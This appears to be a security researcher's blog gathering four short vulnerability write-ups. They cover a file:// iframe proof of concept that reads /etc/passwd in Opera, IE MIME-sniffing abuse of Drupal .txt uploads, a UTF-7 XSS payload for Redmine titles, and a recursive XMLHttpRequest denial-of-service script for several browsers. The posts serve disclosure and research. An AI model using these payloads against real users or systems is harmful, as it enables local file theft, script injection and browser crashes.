Opera and access to file:// iframes

It's just a quick thought about getting content of iframes with file:// sources. While Firefox and Chrome don't alllow access to contentWindow and contentDocument properties of iframes with file:// sources, Opera and Internet Explorer don't have such security policies.

It's possible to get access to it in case when original file with iframe is saved locally. This way, Opera and Internet Explorer render file iframe and, as long as protocols match, which is required for contentWindow and contentDocument properties, allow reading it (actually, Firefox lets this too, but it also compares path to file - if they differ, it throws security exception).

So, we force user to save webpage locally (as HTML file) and to open it. In case of IE, however, it won't execute Javascript by default. Still, Opera lets us do it.

Here is a proof-of-concept just for fun:

<body />
<script>
  iframe = document.createElement('iframe');
  iframe.src = 'file://localhost/etc/passwd';
  document.body.appendChild(iframe);
  info = iframe.contentWindow.document.body.innerHTML;
  alert(info);
</script>

P.S. Wow, I don't really know what does it mean, but Safari runs Windows Explorer with the path of such iframes.

Exploiting IE MIME-sniffer vulnerability in Drupal

IE always loved to create vulnerabilities where they would never be. Not many people know, but there is an old bug in IE MIME-sniffer, which can be easily exploited. The essence of the bug is that when IE renders file, which was sent along with Content-type: text/plain header, it tries to identify its MIME type. So, if file contains HTML code inside, IE will think its text/html and render it. Simple example of exploit in Drupal:

1. There is a Drupal site with enabled Upload module.

2. Attacker uploads *.txt file with HTML code inside. By default Drupal allows *.txt files.

3. Attacker sends a link to that file to victim.

4. Victim opens it in IE and HTML code is rendered.

It's pretty bad that Drupal core, which is tough by default, can be exploited in such a simple manner. I understand that it's not Drupal issue, but Microsoft isn't going to fix it. Instead, they suggest to send X-Content-Type-Options: nosniff HTTP response header. But, it's not possible to do this in Drupal and Drupal Security Team didn't fix it for 2 years and won't do this in future. So, if you are aware of your users' safety, remove .txt from allowed tags. You can do this in Administer -> Site configuration -> File uploads.

Redmine UTF-7 XSS Vulnerability

I keep on looking through Redmine. And one of the most basic persistent XSS - problem of placing <title> prior to <meta> - still often ignored by developers. The same thing occurred in Drupal some time ago. Same thing is currently in Redmine.

The idea of this XSS vector is that tag <title> is placed before tag <meta>, which specifies character encoding of page. Good browsers look for <meta> upon page opening, ignoring its position, but Internet Explorer 6/7 (not quite sure about latest one), in case described above, uses <title> to define encoding. So if you create page (within Redmine, it will be "Issue") with title

+ADw-script+AD4-alert('XSS');+ADw-/script+AD4-

and open it in IE with Auto-Select Encoding on, browser will think that encoding of the page is UTF-7 and will interpret +ADw- as < and +AD4- as >. Thus arbitrary JavaScript will be executed, evading built-in filters .

P.S. Vendor was contacted and Eric Davis informed me, that this vulnerability will be fixed in new version along with CSRF, which wasn't fixed in 0.8.7.
P.P.S. Proof-of-Concept is here 

IE 7.x/8.x, Opera 10.x, Safari 4.x DoS PoC

While playing around with cross-domain requests, I've noticed that page, containing cycled XmlHttpRequest leads to violation of normal behavior of different browsers.
MS Internet Explorer 7.x/8.x (haven't got 6.x, but sure it's affected) begins to devour system resources (CPU and memory), shows error message "Stack Overflow at line: 43" and stops processing the page in few seconds.
Opera 10.x crashes in few seconds and its crash probably may lead to execution of shellcode (debugged it with WinDbg and !exploitable).
Apple Safari 4.x simply hangs, devouring system resources.
However, Mozilla Firefox 3.5 and Google Chrome can handle this exploit.
Vendors have been contacted, but no reaction.
I've posted this very dirty PoC at sla.ckers and finally it's here.
So, to test this PoC, create a page containing exploit, place it to your local webserver (any LAMP) or website and open it.
PoC contains cross-domain XmlHttp function and cycled asynchronous XmlHttpRequest.

<script>
  function getXmlHttp(){
    var xmlhttp;
    try {
      xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
    try {
      xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    } catch (E) {
      xmlhttp = false;
    }
  }

  if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
    xmlhttp = new XMLHttpRequest();
  }
  return xmlhttp;
  }
</script>
<script>
  function getXmlHttpSploit(){
    var xmlhttp = getXmlHttp()
    xmlhttp.open('GET', 'nonexistentpage', false);
    xmlhttp.send(null);
    if(xmlhttp.status == 404) {
      getXmlHttpSploit();
    }
  }
</script>
<script>
  var xmlhttp = getXmlHttp()
  xmlhttp.open('GET', 'nonexistentpage', true);
  xmlhttp.onreadystatechange = function() {
    if (xmlhttp.readyState == 4) {
      if(xmlhttp.status == 404) {
        getXmlHttpSploit();
      }
    }
  };
  xmlhttp.send(null);
</script>